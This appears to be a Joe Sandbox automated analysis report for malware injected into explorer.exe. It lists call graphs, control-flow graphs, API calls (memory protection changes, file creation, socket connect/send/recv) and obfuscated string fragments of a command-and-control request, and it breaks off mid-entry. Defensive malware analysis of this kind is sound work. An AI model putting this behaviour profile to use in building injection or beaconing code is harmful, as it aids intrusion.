6 API calls 13508->13509 13508->13510 13509->13510 13510->13480 13513 e7e1fb8 13511->13513 13512 e7e2022 13512->13487 13513->13512 13515 e7e2081 13513->13515 13539 e7de5b2 13513->13539 13515->13512 13516 e7e2134 13515->13516 13518 e7e2117 getaddrinfo 13515->13518 13516->13512 13521 e7e21b2 13516->13521 13542 e7de732 13516->13542 13518->13516 13520 e7e27f4 setsockopt recv 13520->13512 13521->13512 13545 e7de6b2 13521->13545 13522 e7e2729 13522->13512 13522->13520 13524 e7e086d 13523->13524 13548 e7e1232 13524->13548 13526 e7e0906 13526->13489 13527 e7e0888 13527->13526 13528 e7e1f82 6 API calls 13527->13528 13529 e7e08c5 13527->13529 13528->13529 13529->13526 13530 e7e1232 NtCreateFile 13529->13530 13530->13526 13532 e7e09c2 13531->13532 13533 e7e1232 NtCreateFile 13532->13533 13536 e7e09d6 13533->13536 13534 e7e0a9f 13534->13488 13535 e7e0a5d 13535->13534 13537 e7e1232 NtCreateFile 13535->13537 13536->13534 13536->13535 13538 e7e1f82 6 API calls 13536->13538 13537->13534 13538->13535 13540 e7de5ec 13539->13540 13541 e7de60a socket 13539->13541 13540->13541 13541->13515 13543 e7de788 connect 13542->13543 13544 e7de76a 13542->13544 13543->13521 13544->13543 13546 e7de705 send 13545->13546 13547 e7de6e7 13545->13547 13546->13522 13547->13546 13550 e7e125c 13548->13550 13551 e7e1334 13548->13551 13549 e7e1410 NtCreateFile 13549->13551 13550->13549 13550->13551 13551->13527 13553 e7d7420 13552->13553 13554 e7d70aa 13552->13554 13553->13502 13554->13553 13555 e7e1232 NtCreateFile 13554->13555 13557 e7d71f9 13555->13557 13556 e7d73df 13556->13502 13557->13556 13558 e7e1232 NtCreateFile 13557->13558 13559 e7d73c9 13558->13559 13560 e7e1232 NtCreateFile 13559->13560 13560->13556 13562 e7d6f70 13561->13562 13563 e7d6f84 13561->13563 13562->13499 13564 e7e1232 NtCreateFile 13563->13564 13565 e7d7046 13564->13565 13565->13499 13568 e7d6031 13566->13568 13567 e7d60cd 13567->13508 13568->13567 13569 e7e1f82 6 API calls 13568->13569 13569->13567 13861 e7d9edd 13863 e7d9f06 13861->13863 13862 e7d9fa4 13863->13862 13864 e7d68f2 NtProtectVirtualMemory 13863->13864 13865 e7d9f9c 13864->13865 13866 e7dd382 ObtainUserAgentString 13865->13866 13866->13862 13781 e7e3a1f 13782 e7e3a25 13781->13782 13785 e7d75f2 13782->13785 13784 e7e3a3d 13786 e7d760e 13785->13786 13787 e7d75fb 13785->13787 13786->13784 13787->13786 13788 e7dc662 6 API calls 13787->13788 13788->13786 13944 e7d9dd9 13945 e7d9df0 13944->13945 13946 e7dd382 ObtainUserAgentString 13945->13946 13947 e7d9ecd 13945->13947 13946->13947 13867 e7dbcd4 13869 e7dbcd8 13867->13869 13868 e7dc022 13869->13868 13870 e7db352 NtCreateFile 13869->13870 13871 e7dbf0d 13870->13871 13871->13868 13872 e7db792 NtCreateFile 13871->13872 13872->13871 13722 e7e2e12 13723 e7e1942 13722->13723 13724 e7e2e45 NtProtectVirtualMemory 13723->13724 13725 e7e2e70 13724->13725 13789 e7d7613 13791 e7d7620 13789->13791 13790 e7d767e 13791->13790 13792 e7e2e12 NtProtectVirtualMemory 13791->13792 13792->13791 13742 e7e3a4d 13743 e7e3a53 13742->13743 13746 e7d7782 13743->13746 13745 e7e3a6b 13748 e7d778f 13746->13748 13747 e7d77ad 13747->13745 13748->13747 13750 e7dc662 13748->13750 13751 e7dc66b 13750->13751 13759 e7dc7ba 13750->13759 13752 e7d60f2 6 API calls 13751->13752 13751->13759 13754 e7dc6ee 13752->13754 13753 e7dc750 13756 e7dc83f 13753->13756 13758 e7dc791 13753->13758 13753->13759 13754->13753 13755 e7e1f82 6 API calls 13754->13755 13755->13753 13757 e7e1f82 6 API calls 13756->13757 13756->13759 13757->13759 13758->13759 13760 e7e1f82 6 API calls 13758->13760 13759->13747 13760->13759 13793 e7e2e0a 13794 e7e2e45 NtProtectVirtualMemory 13793->13794 13795 e7e1942 13793->13795 13796 e7e2e70 13794->13796 13795->13794 13909 e7db14a 13910 e7db153 13909->13910 13915 e7db174 13909->13915 13912 e7dd382 ObtainUserAgentString 13910->13912 13911 e7db1e7 13913 e7db16c 13912->13913 13914 e7d60f2 6 API calls 13913->13914 13914->13915 13915->13911 13917 e7d61f2 13915->13917 13918 e7d620f 13917->13918 13919 e7d62c9 13917->13919 13920 e7e0f12 7 API calls 13918->13920 13922 e7d6242 13918->13922 13919->13915 13920->13922 13921 e7d6289 13921->13919 13923 e7d60f2 6 API calls 13921->13923 13922->13921 13924 e7d7432 NtCreateFile 13922->13924 13923->13919 13924->13921 13726 e7e1f82 13728 e7e1fb8 13726->13728 13727 e7e2022 13728->13727 13729 e7de5b2 socket 13728->13729 13730 e7e2081 13728->13730 13729->13730 13730->13727 13731 e7e2134 13730->13731 13733 e7e2117 getaddrinfo 13730->13733 13731->13727 13732 e7de732 connect 13731->13732 13736 e7e21b2 13731->13736 13732->13736 13733->13731 13734 e7de6b2 send 13737 e7e2729 13734->13737 13735 e7e27f4 setsockopt recv 13735->13727 13736->13727 13736->13734 13737->13727 13737->13735

                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                    Function 0E7E1F82 Relevance: 23.6, APIs: 3, Strings: 10, Instructions: 815networkCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 0 e7e1f82-e7e1fb6 1 e7e1fb8-e7e1fbc 0->1 2 e7e1fd6-e7e1fd9 0->2 1->2 3 e7e1fbe-e7e1fc2 1->3 4 e7e28fe-e7e290c 2->4 5 e7e1fdf-e7e1fed 2->5 3->2 6 e7e1fc4-e7e1fc8 3->6 7 e7e28f6-e7e28f7 5->7 8 e7e1ff3-e7e1ff7 5->8 6->2 9 e7e1fca-e7e1fce 6->9 7->4 10 e7e1fff-e7e2000 8->10 11 e7e1ff9-e7e1ffd 8->11 9->2 12 e7e1fd0-e7e1fd4 9->12 13 e7e200a-e7e2010 10->13 11->10 11->13 12->2 12->5 14 e7e203a-e7e2060 13->14 15 e7e2012-e7e2020 13->15 16 e7e2068-e7e207c call e7de5b2 14->16 17 e7e2062-e7e2066 14->17 15->14 18 e7e2022-e7e2026 15->18 22 e7e2081-e7e20a2 16->22 17->16 19 e7e20a8-e7e20ab 17->19 18->7 21 e7e202c-e7e2035 18->21 23 e7e2144-e7e2150 19->23 24 e7e20b1-e7e20b8 19->24 21->7 22->19 25 e7e28ee-e7e28ef 22->25 23->25 26 e7e2156-e7e2165 23->26 27 e7e20ba-e7e20dc call e7e1942 24->27 28 e7e20e2-e7e20f5 24->28 25->7 31 e7e217f-e7e218f 26->31 32 e7e2167-e7e2178 call e7de552 26->32 27->28 28->25 30 e7e20fb-e7e2101 28->30 30->25 34 e7e2107-e7e2109 30->34 36 e7e21e5-e7e221b 31->36 37 e7e2191-e7e21ad call e7de732 31->37 32->31 34->25 40 e7e210f-e7e2111 34->40 38 e7e222d-e7e2231 36->38 39 e7e221d-e7e222b 36->39 43 e7e21b2-e7e21da 37->43 45 e7e2247-e7e224b 38->45 46 e7e2233-e7e2245 38->46 44 e7e227f-e7e2280 39->44 40->25 47 e7e2117-e7e2132 getaddrinfo 40->47 43->36 48 e7e21dc-e7e21e1 43->48 52 e7e2283-e7e22e0 call e7e2d62 call e7df482 call e7dee72 call e7e3002 44->52 49 e7e224d-e7e225f 45->49 50 e7e2261-e7e2265 45->50 46->44 47->23 51 e7e2134-e7e213c 47->51 48->36 49->44 53 e7e226d-e7e2279 50->53 54 e7e2267-e7e226b 50->54 51->23 63 e7e22f4-e7e2354 call e7e2d92 52->63 64 e7e22e2-e7e22e6 52->64 53->44 54->52 54->53 69 e7e248c-e7e24b8 call e7e2d62 call e7e3262 63->69 70 e7e235a-e7e2396 call e7e2d62 call e7e3262 call e7e3002 63->70 64->63 65 e7e22e8-e7e22ef call e7df042 64->65 65->63 80 e7e24ba-e7e24d5 69->80 81 e7e24d9-e7e2590 call e7e3262 * 3 call e7e3002 * 2 call e7df482 69->81 85 e7e23bb-e7e23e9 call e7e3262 * 2 70->85 86 e7e2398-e7e23b7 call e7e3262 call e7e3002 70->86 80->81 110 e7e2595-e7e25b9 call e7e3262 81->110 101 e7e23eb-e7e2410 call e7e3002 call e7e3262 85->101 102 e7e2415-e7e241d 85->102 86->85 101->102 103 e7e241f-e7e2425 102->103 104 e7e2442-e7e2448 102->104 107 e7e2467-e7e2487 call e7e3262 103->107 108 e7e2427-e7e243d 103->108 109 e7e244e-e7e2456 104->109 104->110 107->110 108->110 109->110 114 e7e245c-e7e245d 109->114 120 e7e25bb-e7e25cc call e7e3262 call e7e3002 110->120 121 e7e25d1-e7e26ad call e7e3262 * 7 call e7e3002 call e7e2d62 call e7e3002 call e7dee72 call e7df042 110->121 114->107 132 e7e26af-e7e26b3 120->132 121->132 134 e7e26ff-e7e272d call e7de6b2 132->134 135 e7e26b5-e7e26fa call e7de382 call e7de7b2 132->135 145 e7e272f-e7e2735 134->145 146 e7e275d-e7e2761 134->146 155 e7e28e6-e7e28e7 135->155 145->146 149 e7e2737-e7e274c 145->149 150 e7e290d-e7e2913 146->150 151 e7e2767-e7e276b 146->151 149->146 156 e7e274e-e7e2754 149->156 157 e7e2779-e7e2784 150->157 158 e7e2919-e7e2920 150->158 152 e7e28aa-e7e28df call e7de7b2 151->152 153 e7e2771-e7e2773 151->153 152->155 153->152 153->157 155->25 156->146 163 e7e2756 156->163 159 e7e2786-e7e2793 157->159 160 e7e2795-e7e2796 157->160 158->159 159->160 164 e7e279c-e7e27a0 159->164 160->164 163->146 167 e7e27a2-e7e27af 164->167 168 e7e27b1-e7e27b2 164->168 167->168 170 e7e27b8-e7e27c4 167->170 168->170 173 e7e27c6-e7e27ef call e7e2d92 call e7e2d62 170->173 174 e7e27f4-e7e2861 setsockopt recv 170->174 173->174 177 e7e28a3-e7e28a4 174->177 178 e7e2863 174->178 177->152 178->177 181 e7e2865-e7e286a 178->181 181->177 184 e7e286c-e7e2872 181->184 184->177 185 e7e2874-e7e28a1 184->185 185->177 185->178
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: getaddrinforecvsetsockopt
                                                                                                                                                                                    • String ID: Co$&br=$&sql$&un=$: cl$GET $dat=$nnec$ose$tion
                                                                                                                                                                                    • API String ID: 1564272048-1117930895
                                                                                                                                                                                    • Opcode ID: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                                                                                                                                                                    • Instruction ID: db7bb1112e9146f7f014b6ece260252a38f29c17a1fc47ad0ed279a926e5d97c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D529430618B488FCB69EF68C4947E9B7E5FB58300F504A6EC49FC7666DE30A945CB81
                                                                                                                                                                                    Function 0E7E1232 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 642filenativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 299 e7e1232-e7e1256 300 e7e125c-e7e1260 299->300 301 e7e18bd-e7e18cd 299->301 300->301 302 e7e1266-e7e12a0 300->302 303 e7e12bf 302->303 304 e7e12a2-e7e12a6 302->304 306 e7e12c6 303->306 304->303 305 e7e12a8-e7e12ac 304->305 307 e7e12ae-e7e12b2 305->307 308 e7e12b4-e7e12b8 305->308 309 e7e12cb-e7e12cf 306->309 307->306 308->309 310 e7e12ba-e7e12bd 308->310 311 e7e12f9-e7e130b 309->311 312 e7e12d1-e7e12f7 call e7e1942 309->312 310->309 316 e7e1378 311->316 317 e7e130d-e7e1332 311->317 312->311 312->316 320 e7e137a-e7e13a0 316->320 318 e7e1334-e7e133b 317->318 319 e7e13a1-e7e13a8 317->319 323 e7e133d-e7e1360 call e7e1942 318->323 324 e7e1366-e7e1370 318->324 321 e7e13aa-e7e13d3 call e7e1942 319->321 322 e7e13d5-e7e13dc 319->322 321->316 321->322 326 e7e13de-e7e140a call e7e1942 322->326 327 e7e1410-e7e1458 NtCreateFile call e7e1172 322->327 323->324 324->316 329 e7e1372-e7e1373 324->329 326->316 326->327 335 e7e145d-e7e145f 327->335 329->316 335->316 336 e7e1465-e7e146d 335->336 336->316 337 e7e1473-e7e1476 336->337 338 e7e1478-e7e1481 337->338 339 e7e1486-e7e148d 337->339 338->320 340 e7e148f-e7e14b8 call e7e1942 339->340 341 e7e14c2-e7e14ec 339->341 340->316 346 e7e14be-e7e14bf 340->346 347 e7e18ae-e7e18b8 341->347 348 e7e14f2-e7e14f5 341->348 346->341 347->316 349 e7e14fb-e7e14fe 348->349 350 e7e1604-e7e1611 348->350 351 e7e155e-e7e1561 349->351 352 e7e1500-e7e1507 349->352 350->320 357 e7e1616-e7e1619 351->357 358 e7e1567-e7e1572 351->358 354 e7e1538-e7e1559 352->354 355 e7e1509-e7e1532 call e7e1942 352->355 364 e7e15e9-e7e15fa 354->364 355->316 355->354 362 e7e161f-e7e1626 357->362 363 e7e16b8-e7e16bb 357->363 359 e7e1574-e7e159d call e7e1942 358->359 360 e7e15a3-e7e15a6 358->360 359->316 359->360 360->316 366 e7e15ac-e7e15b6 360->366 370 e7e1628-e7e1651 call e7e1942 362->370 371 e7e1657-e7e166b call e7e2e92 362->371 367 e7e16bd-e7e16c4 363->367 368 e7e1739-e7e173c 363->368 364->350 366->316 376 e7e15bc-e7e15e6 366->376 377 e7e16c6-e7e16ef call e7e1942 367->377 378 e7e16f5-e7e1734 367->378 372 e7e17c4-e7e17c7 368->372 373 e7e1742-e7e1749 368->373 370->316 370->371 371->316 387 e7e1671-e7e16b3 371->387 372->316 383 e7e17cd-e7e17d4 372->383 380 e7e177a-e7e17bf 373->380 381 e7e174b-e7e1774 call e7e1942 373->381 376->364 377->347 377->378 392 e7e1894-e7e18a9 378->392 380->392 381->347 381->380 388 e7e17fc-e7e1803 383->388 389 e7e17d6-e7e17f6 call e7e1942 383->389 387->320 396 e7e182b-e7e1835 388->396 397 e7e1805-e7e1825 call e7e1942 388->397 389->388 392->320 396->347 398 e7e1837-e7e183e 396->398 397->396 398->347 403 e7e1840-e7e1886 398->403 403->392
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateFile
                                                                                                                                                                                    • String ID: `
                                                                                                                                                                                    • API String ID: 823142352-2679148245
                                                                                                                                                                                    • Opcode ID: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                                                                                                                                                                    • Instruction ID: 1e56f05023ff718d40eafdb18d7023e2fce4a9f358adeba2fb394bffc17a0a59
                                                                                                                                                                                    • Opcode Fuzzy Hash: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3A222E70A19A099FCB59DF28C4996AEF7E1FB5C301F80462ED45ED7A60DB30E851CB81
                                                                                                                                                                                    Function 0E7E2E12 Relevance: 1.6, APIs: 1, Instructions: 59nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 443 e7e2e12-e7e2e6e call e7e1942 NtProtectVirtualMemory 446 e7e2e7d-e7e2e8f 443->446 447 e7e2e70-e7e2e7c 443->447
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtProtectVirtualMemory.NTDLL ref: 0E7E2E67
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProtectVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2706961497-0
                                                                                                                                                                                    • Opcode ID: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                                                                                                                                                                    • Instruction ID: e753f2c09fd08529982d0065058440423d6ae86be5efe1c7eac668e7c6f3d1b2
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                                                                                                                                                                    • Instruction Fuzzy Hash: 6E017534668B884F9784EF6CD48512AB7E4FBDD315F000B3EE59AC7254D774D5414742
                                                                                                                                                                                    Function 0E7E2E0A Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 448 e7e2e0a-e7e2e38 449 e7e2e45-e7e2e6e NtProtectVirtualMemory 448->449 450 e7e2e40 call e7e1942 448->450 451 e7e2e7d-e7e2e8f 449->451 452 e7e2e70-e7e2e7c 449->452 450->449
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtProtectVirtualMemory.NTDLL ref: 0E7E2E67
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProtectVirtual
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2706961497-0
                                                                                                                                                                                    • Opcode ID: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                                                                                                                                                                    • Instruction ID: e0d7ad4103f979161d50749a13996c5a8adfff5c7e42eaf36aee25920f97472e
                                                                                                                                                                                    • Opcode Fuzzy Hash: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0E016234628B884B8B48EF6C94552A6B7E5FBCE314F400B7EE99AC3251DB75D9024782
                                                                                                                                                                                    Function 0E7DC8C2 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    APIs
                                                                                                                                                                                    • ObtainUserAgentString.URLMON ref: 0E7DC9A0
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AgentObtainStringUser
                                                                                                                                                                                    • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                    • API String ID: 2681117516-319646191
                                                                                                                                                                                    • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                    • Instruction ID: f1ca40a1e8993b238cd2bc0ec99f47e2835e500ee7910a137f77cdfbc07343cf
                                                                                                                                                                                    • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7A31D471614A4C8BCB05EFA8D8887EEBBE5FB58204F40062AD44ED7350DE748A45CB89
                                                                                                                                                                                    Function 0E7DC8BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    APIs
                                                                                                                                                                                    • ObtainUserAgentString.URLMON ref: 0E7DC9A0
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AgentObtainStringUser
                                                                                                                                                                                    • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                    • API String ID: 2681117516-319646191
                                                                                                                                                                                    • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                    • Instruction ID: b624ab71a18e5675fe850a7c20781e343ad976db79f6b79ea4535c427428bba3
                                                                                                                                                                                    • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                    • Instruction Fuzzy Hash: DE21C370614A4C9ACB05EFA8C8887EDBBF5FF58204F40462AD45AD7360DE748A09CB89
                                                                                                                                                                                    Function 0E7D8B66 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148synchronizationCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 232 e7d8b66-e7d8b68 233 e7d8b6a-e7d8b71 232->233 234 e7d8b93-e7d8bb8 232->234 235 e7d8bbb-e7d8c22 call e7df612 call e7e1942 * 2 233->235 238 e7d8b73-e7d8b92 233->238 234->235 244 e7d8cdc 235->244 245 e7d8c28-e7d8c2b 235->245 238->234 247 e7d8cde-e7d8cf6 244->247 245->244 246 e7d8c31-e7d8cb0 call e7e3da4 call e7e3022 call e7e33e2 call e7e3022 call e7e33e2 245->246 259 e7d8cb5-e7d8cca CreateMutexExW 246->259 260 e7d8cce-e7d8cd3 259->260 260->244 261 e7d8cd5-e7d8cda 260->261 261->247
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateMutex
                                                                                                                                                                                    • String ID: .dll$el32$kern
                                                                                                                                                                                    • API String ID: 1964310414-1222553051
                                                                                                                                                                                    • Opcode ID: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                                                                                                                                                                    • Instruction ID: fadf1566d75e20a0ec6d1ecf16c512d1372982209a886f29cca0cd4c5731c329
                                                                                                                                                                                    • Opcode Fuzzy Hash: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                                                                                                                                                                    • Instruction Fuzzy Hash: 62414C70918A088FDB58EFA8D898BAD77F0FB58300F44467AC84EDB265DE349945CB85
                                                                                                                                                                                    Function 0E7D8B72 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138synchronizationCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateMutex
                                                                                                                                                                                    • String ID: .dll$el32$kern
                                                                                                                                                                                    • API String ID: 1964310414-1222553051
                                                                                                                                                                                    • Opcode ID: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                                                                                                                                                                    • Instruction ID: bac0a5d7ad069261336375aa60a3827fcaad4ebcf83eb962c76545c010568e37
                                                                                                                                                                                    • Opcode Fuzzy Hash: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                                                                                                                                                                    • Instruction Fuzzy Hash: CA415B70918A088FDB98EFA8D498BAD77F0FB58300F44457AC84EDB265DE309945CB85
                                                                                                                                                                                    Function 0E7DE72E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52networkCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 289 e7de72e-e7de768 290 e7de788-e7de7ab connect 289->290 291 e7de76a-e7de782 call e7e1942 289->291 291->290
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: connect
                                                                                                                                                                                    • String ID: conn$ect
                                                                                                                                                                                    • API String ID: 1959786783-716201944
                                                                                                                                                                                    • Opcode ID: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                                                                                                                                                                    • Instruction ID: 9fc13dd72d5040a8c0e5d1bee45e4c270d391c13398877bd250d9cd41004869e
                                                                                                                                                                                    • Opcode Fuzzy Hash: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                                                                                                                                                                    • Instruction Fuzzy Hash: 50015E30618B188FCB84EF1CE088B55B7E0FB58324F1545AED90DCB226C674CC818BC2
                                                                                                                                                                                    Function 0E7DE732 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51networkCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 294 e7de732-e7de768 295 e7de788-e7de7ab connect 294->295 296 e7de76a-e7de782 call e7e1942 294->296 296->295
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_e7a0000_explorer.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: connect
                                                                                                                                                                                    • String ID: conn$ect
                                                                                                                                                                                    • API String ID: 1959786783-716201944
                                                                                                                                                                                    • Opcode ID: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                                                                                                                                                                    • Instruction ID: 34c1494c5fd1280c7c951d843c2829fcdbeac5eea168c62d8d95a1a5a513f99c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 87012C70618A1C8FCB84EF5CE088B55B7E0FB59324F1545AEE80DCB226CA74CD818BC2
                                                                                                                                                                                    Function 0E7DE6B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53networkCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 407 e7de6b2-e7de6e5 408 e7de705-e7de72d send 407->408 409 e7de6e7-e7de6ff call e7e1942 407->409 409->408
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000006.00000002.4541526555.000000000E7A0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0E7A0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
